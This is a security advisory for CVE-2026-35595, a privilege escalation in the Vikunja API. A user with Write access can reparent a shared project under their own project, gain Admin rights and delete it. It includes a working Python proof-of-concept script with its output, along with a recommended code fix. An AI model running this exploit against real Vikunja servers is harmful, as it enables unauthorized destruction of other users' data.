PT-2026-31946 · Go+1 · Code.Vikunja.Io/Api+1

Published

2026-04-10

·

Updated

2026-04-10

·

CVE-2026-35595

CVSS v3.1

8.3

High

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/project permissions.go:139-148 only requires CanWrite on the new parent project when changing parent project id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.
When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
  newProject := &Project{ID: p.ParentProjectID}
  can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin
  if err != nil {
    return false, err
  }
  if !can {
    return false, ErrGenericForbidden{}
  }
}

Proof of Concept

Tested on Vikunja v2.2.2.
1. victim creates "Parent Project" (id=3)
2. victim creates "Secret Child" (id=4) under Parent Project
3. victim shares Parent Project with attacker at Write level (permission=1)
  -> attacker inherits Write on Secret Child (no direct share)
4. attacker creates own "Attacker Root" project (id=5)
5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden
6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent project id":5}
  -> 200 OK (reparenting succeeds, only requires Write)
7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK
  -> Project deleted. victim gets 404.
import requests                                                                                                                                                  
                                                                                                                                                        
TARGET = "http://localhost:3456"                                                                                                                                         
API = f"{TARGET}/api/v1" 
                    
def login(u, p):           
  return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
                    
def h(token): 
  return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
                                                                                                                                                          
victim token = login("victim", "Victim123!")
attacker token = login("attacker", "Attacker123!")                                                                                                                                 
                                                                                                                                                        
# victim creates parent -> child project hierarchy                                                                                                                                
parent = requests.put(f"{API}/projects", headers=h(victim token),
          json={"title": "Parent Project"}).json()
child = requests.put(f"{API}/projects", headers=h(victim token),
          json={"title": "Secret Child", "parent project id": parent["id"]}).json()

# victim shares parent with attacker at Write (attacker inherits Write on child)
requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim token),
      json={"username": "attacker", "permission": 1})

# attacker creates own root project
own = requests.put(f"{API}/projects", headers=h(attacker token),
          json={"title": "Attacker Root"}).json()

# before: attacker cannot delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker token))
print(f"DELETE before reparent: {r.status code}") # 403

# exploit: reparent child under attacker's project
r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker token),
        json={"title": "Secret Child", "parent project id": own["id"]})
print(f"Reparent: {r.status code}") # 200

# after: attacker can now delete child
r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker token))
print(f"DELETE after reparent: {r.status code}") # 200 - escalated to Admin

# victim lost access
r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim token))
print(f"Victim access: {r.status code}") # 404 - project gone
Output:
DELETE before reparent: 403
Reparent: 200
DELETE after reparent: 200
Victim access: 404
The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parent project id:
if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {
  newProject := &Project{ID: p.ParentProjectID}
  can, err := newProject.IsAdmin(s, a)
  if err != nil {
    return false, err
  }
  if !can {
    return false, ErrGenericForbidden{}
  }
  canAdmin, err := p.IsAdmin(s, a)
  if err != nil {
    return false, err
  }
  if !canAdmin {
    return false, ErrGenericForbidden{}
  }
}
Found and reported by aisafe.io

Fix

Improper Privilege Management

Weakness Enumeration

CWE-269

Related Identifiers

CVE-2026-35595
GHSA-2VQ4-854F-5C72

Affected Products

Code.Vikunja.Io/Api
Vikunja